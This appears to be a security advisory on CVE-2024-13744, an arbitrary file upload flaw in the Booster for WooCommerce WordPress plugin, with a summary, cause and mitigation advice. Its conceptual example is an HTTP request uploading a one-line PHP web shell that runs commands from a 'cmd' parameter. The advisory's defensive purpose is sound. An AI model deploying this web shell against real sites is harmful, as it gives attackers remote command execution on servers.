Overview
The cybersecurity landscape is ever-evolving, with new vulnerabilities being discovered every day. One such vulnerability, CVE-2024-13744, has been identified within the Booster for WooCommerce plugin for WordPress. This vulnerability has the potential to allow hackers to upload arbitrary files, possibly leading to remote code execution.
This vulnerability specifically affects WordPress sites that utilize the Booster for WooCommerce plugin, versions 4.0.1 to 7.2.4. Given the extensive use of WordPress for building websites and the popularity of this plugin, the potential impact is significant. It’s crucial for website administrators and cybersecurity professionals to understand this vulnerability to mitigate risks and protect their systems and data effectively.
Vulnerability Summary
CVE ID: CVE-2024-13744
Severity: High (8.1 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
No phone number, email, or personal info required.
Product | Affected Versions
Booster for WooCommerce WordPress Plugin | 4.0.1 to 7.2.4
How the Exploit Works
This vulnerability stems from a lack of proper file type validation in the ‘validate_product_input_fields_on_add_to_cart’ function within the Booster for WooCommerce plugin. This oversight allows for the possibility of uploading arbitrary files onto the server hosting the WordPress site. As these files can be of any type, they can potentially contain malicious code. If executed, this code can lead to remote code execution, giving the attacker control over the compromised system.
Conceptual Example Code
A conceptual example of how this vulnerability might be exploited could look something like the following HTTP request:
POST /wp-content/plugins/woocommerce-booster/ HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_file.php"
Content-Type: application/php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this sample, the attacker is uploading a malicious PHP file that, when invoked, will execute arbitrary shell commands passed through the ‘cmd’ GET parameter. This example serves to illustrate the potential severity of this vulnerability and the ease with which it can be exploited.
Recommended Mitigation
The primary mitigation for this vulnerability is to apply the vendor-provided patch. If this is not feasible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as an effective temporary mitigation method. These tools can help to identify and block attempts to exploit this vulnerability. Additionally, general best practices such as regular system updates, strict access controls, and user education can also help reduce the likelihood of a successful exploit.